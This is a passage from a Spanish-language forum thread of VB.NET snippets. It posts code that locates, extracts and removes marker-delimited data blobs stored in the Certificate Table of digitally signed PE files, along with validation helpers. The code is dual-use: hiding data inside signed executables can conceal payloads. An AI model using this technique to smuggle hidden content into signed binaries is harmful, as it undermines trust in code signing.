  280.    ''' Optional. A byte sequence used to delimit the beginning of a data blob within the Certificate Table content.
  281.    ''' <para></para>
  282.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
  283.    ''' <para></para>
  284.    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
  285.    ''' </param>
  286.    '''
  287.    ''' <param name="markerEnd">
  288.    ''' Optional. A byte sequence used to delimit the end of a data blob within the Certificate Table content.
  289.    ''' <para></para>
  290.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
  291.    ''' <para></para>
  292.    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
  293.    ''' </param>
  294.    '''
  295.    ''' <returns>
  296.    ''' An <see cref="ImmutableArray"/> of <see cref="ArraySegment(Of Byte)"/> representing each blob found.
  297.    ''' </returns>
  298.    <DebuggerStepThrough>
  299.    Public Shared Function GetBlobsFromPECertificateTable(filePath As String,
  300.                                                          Optional markerBegin As Byte() = Nothing,
  301.                                                          Optional markerEnd As Byte() = Nothing) As ImmutableArray(Of ArraySegment(Of Byte))
  302.  
  303.        ValidateCommonParameters((NameOf(filePath), filePath),
  304.                                 (NameOf(markerBegin), markerBegin),
  305.                                 (NameOf(markerEnd), markerEnd))
  306.  
  307.        Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
  308.  
  309.        Dim blobs As New Collection(Of ArraySegment(Of Byte))
  310.  
  311.        Using fs As New FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read,
  312.                                   bufferSize:=8192 * 2, FileOptions.SequentialScan),
  313.              peReader As New PEReader(fs, PEStreamOptions.LeaveOpen)
  314.  
  315.            Dim headers As PEHeaders = Nothing
  316.            Dim certDirRVA As Integer, certDirSize As Integer
  317.            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
  318.  
  319.            ' Read the entire certificate table into memory.
  320.            ' Note: This assumes the system has enough RAM for large tables up to ~2GB.
  321.            fs.Position = certDirRVA
  322.            Dim certBytes As Byte() = StreamExtensions.ReadExact(fs, certDirSize)
  323.  
  324.            Dim searchIndex As Integer
  325.  
  326.            ' Main loop to locate all blob segments enclosed by the markers.
  327.            While searchIndex < certBytes.Length
  328.                ' Locate the start marker.
  329.                Dim idx As Integer = Array.IndexOf(certBytes, markerBegin(0), searchIndex)
  330.                ' Ensure there's room for full marker and meta.
  331.                If (idx = -1) OrElse (idx + markerBegin.Length + metaStructSize) >= certBytes.Length Then
  332.                    Exit While
  333.                End If
  334.  
  335.                ' Verify full start marker match.
  336.                Dim matchStart As Boolean = True
  337.                For j As Integer = 1 To markerBegin.Length - 1
  338.                    If certBytes(idx + j) <> markerBegin(j) Then
  339.                        matchStart = False
  340.                        Exit For
  341.                    End If
  342.                Next
  343.                If Not matchStart Then
  344.                    searchIndex = idx + 1
  345.                    Continue While
  346.                End If
  347.  
  348.                ' Read CertBlobMeta structure bytes.
  349.                Dim metaStart As Integer = idx + markerBegin.Length
  350.                Dim metaBytes(metaStructSize - 1) As Byte
  351.                Array.Copy(certBytes, metaStart, metaBytes, 0, metaStructSize)
  352.                Dim meta As CertBlobMeta = MarshalExtensions.ConvertToStructure(Of CertBlobMeta)(metaBytes)
  353.                Dim blobStart As Integer = metaStart + metaStructSize
  354.                Dim blobSize As Integer = meta.BlobSize
  355.  
  356.                ' Add the actual blob (skip padding).
  357.                blobs.Add(New ArraySegment(Of Byte)(certBytes, blobStart, blobSize))
  358.  
  359.                ' Move search index past the end marker.
  360.                searchIndex = blobStart + blobSize + markerEnd.Length + meta.PaddingLength
  361.            End While
  362.        End Using
  363.  
  364.        Return blobs.ToImmutableArray()
  365.    End Function
  366.  
  367.    ''' <summary>
  368.    ''' Removes a specific blob —that is enclosed between the specified <paramref name="markerBegin"/> and <paramref name="markerEnd"/> markers—
  369.    ''' from the Certificate Table data-directory entry in the Portable Executable (PE) header of the given file.
  370.    ''' <para></para>
  371.    ''' The blob must have been previously added with the <see cref="AppendBlobToPECertificateTable"/> function.
  372.    ''' </summary>
  373.    '''
  374.    ''' <param name="inputFilePath">
  375.    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe")
  376.    ''' from which the blob will be removed.
  377.    ''' </param>
  378.    '''
  379.    ''' <param name="outputFilePath">
  380.    ''' Path to the output file that will be written with the modified Certificate Table.
  381.    ''' <para></para>
  382.    ''' Cannot be the same as <paramref name="inputFilePath"/>.
  383.    ''' </param>
  384.    '''
  385.    ''' <param name="blobIndex">
  386.    ''' Zero-based index of the blob to remove from the Certificate Table.
  387.    ''' </param>
  388.    '''
  389.    ''' <param name="markerBegin">
  390.    ''' Optional. A byte sequence used to delimit the beginning of a data blob within the Certificate Table content.
  391.    ''' <para></para>
  392.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
  393.    ''' <para></para>
  394.    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
  395.    ''' </param>
  396.    '''
  397.    ''' <param name="markerEnd">
  398.    ''' Optional. A byte sequence used to delimit the end of a data blob within the Certificate Table content.
  399.    ''' <para></para>
  400.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
  401.    ''' <para></para>
  402.    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
  403.    ''' </param>
  404.    '''
  405.    ''' <param name="overwriteOutputFile">
  406.    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
  407.    ''' <para></para>
  408.    ''' If <see langword="True"/>, any existing output file will be overwritten.
  409.    ''' <para></para>
  410.    ''' Default value is <see langword="False"/>.
  411.    ''' </param>
  412.    <DebuggerStepThrough>
  413.    Public Shared Sub RemoveBlobFromPECertificateTable(inputFilePath As String,
  414.                                                       outputFilePath As String,
  415.                                                       blobIndex As Integer,
  416.                                                       Optional markerBegin As Byte() = Nothing,
  417.                                                       Optional markerEnd As Byte() = Nothing,
  418.                                                       Optional overwriteOutputFile As Boolean = False)
  419.  
  420.        ' The rest of parameters are validated in the following call to GetBlobsFromPECertificateTable function.
  421.        ValidateCommonParameters((NameOf(outputFilePath), outputFilePath),
  422.                                 (NameOf(blobIndex), blobIndex),
  423.                                 (NameOf(overwriteOutputFile), overwriteOutputFile))
  424.  
  425.        Dim blobs As ImmutableArray(Of ArraySegment(Of Byte)) =
  426.            GetBlobsFromPECertificateTable(inputFilePath, markerBegin, markerEnd)
  427.  
  428.        If blobIndex >= blobs.Length Then
  429.            Dim msg As String = "Blob index was out of range. Must be less than the length of existing blobs."
  430.            Throw New ArgumentOutOfRangeException(NameOf(blobIndex), msg)
  431.        End If
  432.  
  433.        Using fsInput As New FileStream(inputFilePath, FileMode.Open, FileAccess.Read, FileShare.Read,
  434.                                        bufferSize:=8192 * 2, FileOptions.SequentialScan),
  435.              peReader As New PEReader(fsInput, PEStreamOptions.LeaveOpen)
  436.  
  437.            Dim headers As PEHeaders = Nothing
  438.            Dim certDirRVA As Integer, certDirSize As Integer
  439.            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
  440.  
  441.            ' Read CertBlobMeta structure
  442.            Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
  443.            Dim metaStart As Integer = blobs(blobIndex).Offset - metaStructSize - markerBegin.Length
  444.            Dim metaBytes(metaStructSize - 1) As Byte
  445.            fsInput.Position = certDirRVA + metaStart + markerBegin.Length
  446.            fsInput.Read(metaBytes, 0, metaBytes.Length)
  447.            Dim meta As CertBlobMeta = MarshalExtensions.ConvertToStructure(Of CertBlobMeta)(metaBytes)
  448.  
  449.            ' Compute region to remove: markerBegin + meta + blob + markerEnd + padding (if any)
  450.            Dim removeStart As Integer = metaStart
  451.            Dim removeLen As Integer = markerBegin.Length + metaStructSize + meta.BlobSize + markerEnd.Length + meta.PaddingLength
  452.            ' Safety checks for corrupted meta or inconsistent Certificate Table.
  453.            If removeStart < 0 Then
  454.                Dim msg As String = "Computed removal region start is before the beginning of the Certificate Table."
  455.                Throw New InvalidOperationException(msg)
  456.            End If
  457.            If (removeStart + removeLen) > certDirSize Then
  458.                Dim msg As String = "Computed removal region extends beyond the Certificate Table."
  459.                Throw New InvalidOperationException(msg)
  460.            End If
  461.  
  462.            ' Write changes to output file.
  463.            Using fsOutput As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
  464.                                             FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
  465.  
  466.                ' Write head (0 to certDirRVA-1)
  467.                fsInput.Position = 0
  468.                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirRVA)
  469.  
  470.                ' Write new certificate table.
  471.                fsInput.Position = certDirRVA
  472.                StreamExtensions.CopyExactTo(fsInput, fsOutput, removeStart)
  473.                fsInput.Position = certDirRVA + removeStart + removeLen
  474.                Dim remain As Integer = certDirSize - (removeStart + removeLen)
  475.                If remain > 0 Then
  476.                    StreamExtensions.CopyExactTo(fsInput, fsOutput, remain)
  477.                End If
  478.  
  479.                ' Copy any original remainder bytes (tail).
  480.                Dim tailStart As Long = certDirRVA + certDirSize
  481.                If tailStart < fsInput.Length Then
  482.                    fsInput.Position = tailStart
  483.                    StreamExtensions.CopyExactTo(fsInput, fsOutput, CInt(fsInput.Length - tailStart))
  484.                End If
  485.  
  486.                UpdateCertificateTableLengths(fsInput, fsOutput, headers, certDirRVA, CUInt(certDirSize - removeLen))
  487.            End Using
  488.        End Using
  489.    End Sub
  490.  
  491.    ''' <summary>
  492.    ''' Removes all blobs —that were enclosed between the specified <paramref name="markerBegin"/> and <paramref name="markerEnd"/> markers—
  493.    ''' from the Certificate Table data-directory entry in the Portable Executable (PE) header of the given file.
  494.    ''' <para></para>
  495.    ''' The blob(s) must have been previously added with the <see cref="AppendBlobToPECertificateTable"/> function.
  496.    ''' </summary>
  497.    '''
  498.    ''' <param name="inputFilePath">
  499.    ''' Path to the input —digitally signed— Portable Executable (PE) file (e.g., "C:\Windows\explorer.exe")
  500.    ''' from which the blobs will be removed.
  501.    ''' </param>
  502.    '''
  503.    ''' <param name="outputFilePath">
  504.    ''' Path to the output file that will be written with the modified Certificate Table.
  505.    ''' <para></para>
  506.    ''' Cannot be the same as <paramref name="inputFilePath"/>.
  507.    ''' </param>
  508.    '''
  509.    ''' <param name="markerBegin">
  510.    ''' Optional. A byte sequence used to delimit the beginning of a data blob within the Certificate Table content.
  511.    ''' <para></para>
  512.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_BEGIN#</c>" in UTF-8 encoding bytes.
  513.    ''' <para></para>
  514.    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
  515.    ''' </param>
  516.    '''
  517.    ''' <param name="markerEnd">
  518.    ''' Optional. A byte sequence used to delimit the end of a data blob within the Certificate Table content.
  519.    ''' <para></para>
  520.    ''' Cannot be null or empty. Default value is "<c>#CERT_BLOB_END#</c>" in UTF-8 encoding bytes.
  521.    ''' <para></para>
  522.    ''' This value must be the same used when calling <see cref="AppendBlobToPECertificateTable"/> function.
  523.    ''' </param>
  524.    '''
  525.    ''' <param name="overwriteOutputFile">
  526.    ''' If <see langword="False"/> and the output file already exists, the method throws an <see cref="IOException"/>.
  527.    ''' <para></para>
  528.    ''' If <see langword="True"/>, any existing output file will be overwritten.
  529.    ''' <para></para>
  530.    ''' Default value is <see langword="False"/>.
  531.    ''' </param>
  532.    <DebuggerStepThrough>
  533.    Public Shared Sub RemoveBlobsFromPECertificateTable(inputFilePath As String,
  534.                                                        outputFilePath As String,
  535.                                                        Optional markerBegin As Byte() = Nothing,
  536.                                                        Optional markerEnd As Byte() = Nothing,
  537.                                                        Optional overwriteOutputFile As Boolean = False)
  538.  
  539.        ValidateCommonParameters((NameOf(inputFilePath), inputFilePath),
  540.                                 (NameOf(outputFilePath), outputFilePath),
  541.                                 (NameOf(markerBegin), markerBegin),
  542.                                 (NameOf(markerEnd), markerEnd),
  543.                                 (NameOf(overwriteOutputFile), overwriteOutputFile))
  544.  
  545.        Dim metaStructSize As Integer = Marshal.SizeOf(GetType(CertBlobMeta))
  546.  
  547.        Dim removalRanges As New List(Of Tuple(Of Integer, Integer))()
  548.  
  549.        Using fsInput As New FileStream(inputFilePath, FileMode.Open, FileAccess.Read, FileShare.Read,
  550.                                        bufferSize:=8192 * 2, FileOptions.SequentialScan),
  551.              peReader As New PEReader(fsInput, PEStreamOptions.LeaveOpen)
  552.  
  553.            Dim headers As PEHeaders = Nothing
  554.            Dim certDirRVA As Integer, certDirSize As Integer
  555.            ValidatePEHeaderAndCertDir(peReader, headers, certDirRVA, certDirSize)
  556.  
  557.            fsInput.Position = certDirRVA
  558.            Dim certBytes As Byte() = StreamExtensions.ReadExact(fsInput, certDirSize)
  559.  
  560.            Dim searchIndex As Integer
  561.            While searchIndex < certBytes.Length
  562.                Dim idx As Integer = Array.IndexOf(certBytes, markerBegin(0), searchIndex)
  563.                ' Ensure there's room for full marker and meta.
  564.                If (idx = -1) OrElse (idx + markerBegin.Length + metaStructSize) >= certBytes.Length Then
  565.                    Exit While
  566.                End If
  567.  
  568.                ' Verify full start marker match.
  569.                Dim matchStart As Boolean = True
  570.                For j As Integer = 1 To markerBegin.Length - 1
  571.                    If certBytes(idx + j) <> markerBegin(j) Then
  572.                        matchStart = False
  573.                        Exit For
  574.                    End If
  575.                Next
  576.                If Not matchStart Then
  577.                    searchIndex = idx + 1
  578.                    Continue While
  579.                End If
  580.  
  581.                ' Read CertBlobMeta structure bytes.
  582.                Dim metaStart As Integer = idx + markerBegin.Length
  583.                Dim metaBytes(metaStructSize - 1) As Byte
  584.                Array.Copy(certBytes, metaStart, metaBytes, 0, metaStructSize)
  585.                Dim meta As CertBlobMeta = MarshalExtensions.ConvertToStructure(Of CertBlobMeta)(metaBytes)
  586.  
  587.                ' Compute region to remove: markerBegin + meta + blob + markerEnd + padding (if any)
  588.                Dim removeStart As Integer = idx
  589.                Dim removeLen As Integer = markerBegin.Length + metaStructSize + meta.BlobSize + markerEnd.Length + meta.PaddingLength
  590.                ' Safety checks for corrupted meta or inconsistent Certificate Table.
  591.                If removeStart < 0 Then
  592.                    Dim msg As String = "Computed removal region start is before the beginning of the Certificate Table."
  593.                    Throw New InvalidOperationException(msg)
  594.                End If
  595.                If (removeStart + removeLen) > certDirSize Then
  596.                    Dim msg As String = "Computed removal region extends beyond the Certificate Table."
  597.                    Throw New InvalidOperationException(msg)
  598.                End If
  599.  
  600.                removalRanges.Add(Tuple.Create(removeStart, removeLen))
  601.  
  602.                ' Advance searchIndex past the removed region.
  603.                searchIndex = removeStart + removeLen
  604.            End While
  605.  
  606.            ' If nothing to remove -> copy input to output unchanged (but still produce output file).
  607.            If removalRanges.Count = 0 Then
  608.                Using fsOut As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
  609.                                              FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
  610.                    fsInput.Position = 0
  611.                    fsInput.CopyTo(fsOut)
  612.                    ' StreamExtensions.CopyExactTo(fsInput, fsOut, CInt(fsInput.Length))
  613.                End Using
  614.                Exit Sub
  615.            End If
  616.  
  617.            ' Total removed size.
  618.            Dim totalRemoved As Integer = removalRanges.Sum(Function(t) t.Item2)
  619.  
  620.            ' Write changes to output file.
  621.            Using fsOutput As New FileStream(outputFilePath, If(overwriteOutputFile, FileMode.Create, FileMode.CreateNew),
  622.                                             FileAccess.Write, FileShare.Read, bufferSize:=8192 * 2, FileOptions.None)
  623.  
  624.                ' Write head (0 to certDirRVA-1)
  625.                fsInput.Position = 0
  626.                StreamExtensions.CopyExactTo(fsInput, fsOutput, certDirRVA)
  627.  
  628.                ' Write filtered certificate table segments.
  629.                Dim prevEnd As Integer = 0
  630.                For Each r As Tuple(Of Integer, Integer) In removalRanges
  631.                    Dim segStart As Integer = r.Item1
  632.                    Dim segLen As Integer = segStart - prevEnd
  633.                    If segLen > 0 Then
  634.                        ' Copy segment (prevEnd to segStart-1)
  635.                        fsInput.Position = certDirRVA + prevEnd
  636.                        StreamExtensions.CopyExactTo(fsInput, fsOutput, segLen)
  637.                    End If
  638.                    ' Skip the removed region by moving prevEnd.
  639.                    prevEnd = segStart + r.Item2
  640.                Next
  641.                ' Write remaining certificate bytes after last removal.
  642.                If prevEnd < certDirSize Then
  643.                    Dim lastLen As Integer = certDirSize - prevEnd
  644.                    fsInput.Position = certDirRVA + prevEnd
  645.                    StreamExtensions.CopyExactTo(fsInput, fsOutput, lastLen)
  646.                End If
  647.  
  648.                ' Copy any original remainder bytes (tail).
  649.                Dim tailStart As Long = certDirRVA + certDirSize
  650.                If tailStart < fsInput.Length Then
  651.                    fsInput.Position = tailStart
  652.                    StreamExtensions.CopyExactTo(fsInput, fsOutput, CInt(fsInput.Length - tailStart))
  653.                End If
  654.  
  655.                UpdateCertificateTableLengths(fsInput, fsOutput, headers, certDirRVA, CUInt(certDirSize - totalRemoved))
  656.            End Using
  657.        End Using
  658.    End Sub
  659.  
  660. End Class

El código continúa aquí abajo 👇🙂
« Última modificación: Hoy a las 13:56 por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #606 en: Hoy a las 12:36 »

Clase PortableExecutableUtil (2ª PARTE):

Código
  1. Partial Public Class PortableExecutableUtil
  2.  
  3.    ''' <summary>
  4.    ''' Represents metadata for a blob stored in a Portable Executable (PE) Certificate Table data-directory entry
  5.    ''' that was added with <see cref="AppendBlobToPECertificateTable"/> function.
  6.    ''' </summary>
  7.    <StructLayout(LayoutKind.Sequential, Pack:=1)>
  8.    Private Structure CertBlobMeta
  9.  
  10.        ''' <summary>
  11.        ''' The size of the certificate blob, in bytes, excluding markers and padding.
  12.        ''' </summary>
  13.        Friend BlobSize As Integer
  14.  
  15.        ''' <summary>
  16.        ''' The padding length added after the blob to align the Certificate Table.
  17.        ''' </summary>
  18.        Friend PaddingLength As Integer
  19.  
  20.    End Structure
  21.  
  22.    ''' <summary>
  23.    ''' Determines whether the given file is a valid Portable Executable (PE) file.
  24.    ''' </summary>
  25.    '''
  26.    ''' <param name="filePath">
  27.    ''' Path to the file to check (e.g., "C:\Windows\explorer.exe").
  28.    ''' </param>
  29.    '''
  30.    ''' <returns>
  31.    ''' <see langword="True"/> if the file is a valid Portable Executable (PE) file;
  32.    ''' otherwise, <see langword="False"/>.
  33.    ''' </returns>
  34.    <DebuggerStepThrough>
  35.    Public Shared Function FileIsPortableExecutable(filePath As String) As Boolean
  36.  
  37.        ValidateCommonParameters((NameOf(filePath), filePath))
  38.  
  39.        Using fs As New FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read, 8192 * 2, FileOptions.None)
  40.            Try
  41.                Using peReader As New PEReader(fs)
  42.                    Return True
  43.                End Using
  44.            Catch ex As BadImageFormatException
  45.                Return False
  46.            End Try
  47.        End Using
  48.    End Function
  49.  
  50.    ''' <summary>
  51.    ''' Determines whether the Portable Executable (PE) headers of the given file contains
  52.    ''' a Certificate Table data-directory entry that is not empty, which may or may not contain a digital signature.
  53.    ''' <para></para>
  54.    ''' Note that this function checks only for the presence of a certificate table in the file.
  55.    ''' It does <b>not</b> validate whether the file is actually digitally signed,
  56.    ''' therefore it does not perform any form of cryptographic validation on a certificate.
  57.    ''' <para></para>
  58.    ''' Essentially, it only tells you: "This file has a Certificate Table data-directory entry that is not empty".
  59.    ''' </summary>
  60.    '''
  61.    ''' <param name="filePath">
  62.    ''' Path to the Portable Executable (PE) file to check (e.g., "C:\Windows\explorer.exe").
  63.    ''' </param>
  64.    '''
  65.    ''' <returns>
  66.    ''' <see langword="True"/> if the PE headers of the given file contains a certificate table and is not empty;
  67.    ''' otherwise, <see langword="False"/>.
  68.    ''' </returns>
  69.    <DebuggerStepThrough>
  70.    Public Shared Function FileHasCertificateTable(filePath As String) As Boolean
  71.  
  72.        ValidateCommonParameters((NameOf(filePath), filePath))
  73.  
  74.        Using fs As New FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read, 8192 * 2, FileOptions.None),
  75.              peReader As New PEReader(fs)
  76.  
  77.            Dim headers As PEHeaders = peReader.PEHeaders
  78.            Dim certDir As DirectoryEntry? = headers?.PEHeader?.CertificateTableDirectory
  79.  
  80.            Return certDir.HasValue AndAlso
  81.                   certDir.Value.RelativeVirtualAddress <> 0 AndAlso
  82.                   certDir.Value.Size <> 0
  83.        End Using
  84.    End Function
  85.  
  86.    ''' <summary>
  87.    ''' Determines whether the Portable Executable (PE) headers of the given file contains
  88.    ''' a valid certificate, indicating that the file is digitally signed.
  89.    ''' <para></para>
  90.    ''' Note that this function checks only for the presence of a valid certificate in the file.
  91.    ''' It does <b>not</b> validate the certificate's trust chain, expiration, revocation, or any other form of validation.
  92.    ''' <para></para>
  93.    ''' Essentially, it only tells you: "This file has a valid certificate that can be read and parsed"
  94.    ''' without performing any additional validation.
  95.    ''' </summary>
  96.    '''
  97.    ''' <param name="filePath">
  98.    ''' Path to the Portable Executable (PE) file to check (e.g., "C:\Windows\explorer.exe").
  99.    ''' </param>
  100.    '''
  101.    ''' <returns>
  102.    ''' <see langword="True"/> if the Portable Executable (PE) headers of the given file contains a valid certificate;
  103.    ''' otherwise, <see langword="False"/>.
  104.    ''' </returns>
  105.    <DebuggerStepThrough>
  106.    Public Shared Function FileHasCertificate(filePath As String) As Boolean
  107.  
  108.        ValidateCommonParameters((NameOf(filePath), filePath))
  109.        Try
  110.            Using cert As X509Certificate = X509Certificate.CreateFromSignedFile(filePath)
  111.                Return True
  112.            End Using
  113.        Catch ex As CryptographicException
  114.            Return False
  115.        End Try
  116.    End Function
  117.  
  118.    ''' <summary>
  119.    ''' Validates the state of common parameters shared by the Portable Executable functions.
  120.    ''' </summary>
  121.    '''
  122.    ''' <param name="parameters">
  123.    ''' A variable-length array of tuples representing the parameters to validate.
  124.    ''' <para></para>
  125.    ''' Each tuple is defined as follows:
  126.    ''' <list type="bullet">
  127.    '''   <item><description><b>Name</b> (<see cref="String"/>) - The name of the parameter.</description></item>
  128.    '''   <item><description><b>Value</b> (<see cref="Object"/>) - The value of the parameter.</description></item>
  129.    ''' </list>
  130.    ''' </param>
  131.    <DebuggerStepThrough>
  132.    Private Shared Sub ValidateCommonParameters(ParamArray parameters As (Name As String, Value As Object)())
  133.  
  134.        If parameters.Length = 0 Then
  135.            Exit Sub
  136.        End If
  137.  
  138.        Dim paramsDict As New Dictionary(Of String, Object)(StringComparer.OrdinalIgnoreCase)
  139.        For Each param As (Name As String, Value As Object) In parameters
  140.            paramsDict.Add(param.Name, param.Value)
  141.        Next
  142.  
  143.        Dim validatedParamsCount As Short
  144.  
  145.        Dim inputFilePath As String = Nothing
  146.        Dim inputFilePathObj As Object = Nothing
  147.        If paramsDict.TryGetValue("inputFilePath", inputFilePathObj) OrElse
  148.           paramsDict.TryGetValue("filePath", inputFilePathObj) Then
  149.            inputFilePath = DirectCast(inputFilePathObj, String)
  150.  
  151.            If Not File.Exists(inputFilePath) Then
  152.                Dim msg As String = $"The input file '{inputFilePath}' does not exist."
  153.                Throw New FileNotFoundException(msg, fileName:=inputFilePath)
  154.            End If
  155.  
  156.            validatedParamsCount += 1S
  157.        End If
  158.  
  159.        Dim outputFilePath As String = Nothing
  160.        Dim outputFilePathObj As Object = Nothing
  161.        If paramsDict.TryGetValue("outputFilePath", outputFilePathObj) Then
  162.            outputFilePath = DirectCast(outputFilePathObj, String)
  163.  
  164.            If String.IsNullOrEmpty(outputFilePath) Then
  165.                Throw New ArgumentNullException(paramName:=NameOf(outputFilePath))
  166.            End If
  167.  
  168.            If outputFilePath.Equals(inputFilePath, StringComparison.OrdinalIgnoreCase) Then
  169.                Dim msg As String = $"{NameOf(outputFilePath)} cannot be the same as {NameOf(inputFilePath)}."
  170.                Throw New ArgumentException(msg, paramName:=NameOf(outputFilePath))
  171.            End If
  172.  
  173.            validatedParamsCount += 1S
  174.        End If
  175.  
  176.        Dim overwriteOutputFile As Boolean
  177.        Dim overwriteOutputFileObj As Object = Nothing
  178.        If paramsDict.TryGetValue("overwriteOutputFile", overwriteOutputFileObj) Then
  179.            overwriteOutputFile = DirectCast(overwriteOutputFileObj, Boolean)
  180.  
  181.            If Not overwriteOutputFile AndAlso File.Exists(outputFilePath) Then
  182.                Dim msg As String = $"Output file '{outputFilePath}' already exists."
  183.                Throw New IOException(msg)
  184.            End If
  185.  
  186.            validatedParamsCount += 1S
  187.        End If
  188.  
  189.        Dim blob As Byte()
  190.        Dim blobObj As Object = Nothing
  191.        If paramsDict.TryGetValue("blob", blobObj) Then
  192.            blob = DirectCast(blobObj, Byte())
  193.  
  194.            If blob Is Nothing Then
  195.                Dim msg As String = $"{NameOf(blob)} cannot be null."
  196.                Throw New ArgumentNullException(paramName:=NameOf(blob), msg)
  197.            End If
  198.  
  199.            If blob.Length = 0 Then
  200.                Dim msg As String = $"{NameOf(blob)} cannot be empty."
  201.                Throw New ArgumentException(msg, paramName:=NameOf(blob))
  202.            End If
  203.  
  204.            validatedParamsCount += 1S
  205.        End If
  206.  
  207.        Dim blobStream As Stream
  208.        Dim blobStreamObj As Object = Nothing
  209.        If paramsDict.TryGetValue("blobStream", blobStreamObj) Then
  210.            blobStream = DirectCast(blobStreamObj, Stream)
  211.  
  212.            If blobStream Is Nothing Then
  213.                Dim msg As String = $"{NameOf(blobStream)} cannot be null."
  214.                Throw New ArgumentNullException(paramName:=NameOf(blobStream), msg)
  215.            End If
  216.  
  217.            If blobStream.Length = 0 Then
  218.                Dim msg As String = $"{NameOf(blobStream)} cannot be empty."
  219.                Throw New ArgumentException(msg, paramName:=NameOf(blobStream))
  220.            End If
  221.  
  222.            validatedParamsCount += 1S
  223.        End If
  224.  
  225.        Dim blobIndex As Integer
  226.        Dim blobIndexObj As Object = Nothing
  227.        If paramsDict.TryGetValue("blobIndex", blobIndexObj) Then
  228.            blobIndex = DirectCast(blobIndexObj, Integer)
  229.  
  230.            If blobIndex < 0 Then
  231.                Dim msg As String = "Blob index must be equal to or greater than zero."
  232.                Throw New ArgumentOutOfRangeException(NameOf(blobIndex), msg)
  233.            End If
  234.  
  235.            validatedParamsCount += 1S
  236.        End If
  237.  
  238.        Dim markerBegin As Byte()
  239.        Dim markerBeginObj As Object = Nothing
  240.        If paramsDict.TryGetValue("markerBegin", markerBeginObj) Then
  241.            markerBegin = If(DirectCast(markerBeginObj, Byte()), Encoding.UTF8.GetBytes("#CERT_BLOB_BEGIN#"))
  242.  
  243.            If markerBegin.Length = 0 Then
  244.                Dim msg As String = $"{NameOf(markerBegin)} cannot be empty."
  245.                Throw New ArgumentException(msg, paramName:=NameOf(markerBegin))
  246.            End If
  247.  
  248.            validatedParamsCount += 1S
  249.        End If
  250.  
  251.        Dim markerEnd As Byte()
  252.        Dim markerEndObj As Object = Nothing
  253.        If paramsDict.TryGetValue("markerEnd", markerEndObj) Then
  254.            markerEnd = If(DirectCast(markerEndObj, Byte()), Encoding.UTF8.GetBytes("#CERT_BLOB_END#"))
  255.  
  256.            If markerEnd.Length = 0 Then
  257.                Dim msg As String = $"{NameOf(markerEnd)} cannot be empty."
  258.                Throw New ArgumentException(msg, paramName:=NameOf(markerEnd))
  259.            End If
  260.  
  261.            validatedParamsCount += 1S
  262.        End If
  263.  
  264.        If validatedParamsCount < parameters.Count Then
  265.            Dim msg As String = $"Validation logic is missing for {parameters.Count - validatedParamsCount} parameter(s)."
  266.            Throw New NotSupportedException(msg)
  267.        End If
  268.    End Sub
  269.  
  270.    ''' <summary>
  271.    ''' Validates the PE (Portable Executable) header of the specified <see cref="PEReader"/>
  272.    ''' and ensures that it contains a valid Certificate Table data-directory entry that is not empty.
  273.    ''' <para></para>
  274.    ''' If validation passes, the certificate directory RVA and size are returned through the output parameters.
  275.    ''' </summary>
  276.    '''
  277.    ''' <param name="peReader">
  278.    ''' The <see cref="PEReader"/> instance used to read and validate the PE headers.
  279.    ''' </param>
  280.    '''
  281.    ''' <param name="refPEHeaders">
  282.    ''' On success, receives the parsed <see cref="PEHeaders"/> object that describes the PE file.
  283.    ''' </param>
  284.    '''
  285.    ''' <param name="refCertDirRVA">
  286.    ''' On success, receives the Relative Virtual Address (RVA) of the Certificate Table data-directory entry.
  287.    ''' </param>
  288.    '''
  289.    ''' <param name="refCertDirSize">
  290.    ''' On success, receives the size (in bytes) of the Certificate Table data-directory entry.
  291.    ''' </param>
  292.    <DebuggerStepThrough>
  293.    Private Shared Sub ValidatePEHeaderAndCertDir(peReader As PEReader,
  294.                                                  ByRef refPEHeaders As PEHeaders,
  295.                                                  ByRef refCertDirRVA As Integer,
  296.                                                  ByRef refCertDirSize As Integer)
  297.        Dim peHeader As PEHeader
  298.        Try
  299.            refPEHeaders = peReader.PEHeaders
  300.            peHeader = refPEHeaders.PEHeader
  301.        Catch ex As BadImageFormatException
  302.            Dim msg As String = "The input file is not a valid Portable Executable (PE) file."
  303.            Throw New BadImageFormatException(msg, ex)
  304.        End Try
  305.  
  306.        Dim certDir As DirectoryEntry? = peHeader.CertificateTableDirectory
  307.        If certDir.HasValue Then
  308.            refCertDirRVA = certDir.Value.RelativeVirtualAddress
  309.            refCertDirSize = certDir.Value.Size
  310.        End If
  311.        If refCertDirRVA = 0 OrElse refCertDirSize = 0 Then
  312.            Dim msg As String = $"The input file does not contain a Certificate Table data-directory entry."
  313.            Throw New InvalidOperationException(msg)
  314.        End If
  315.    End Sub
  316.  
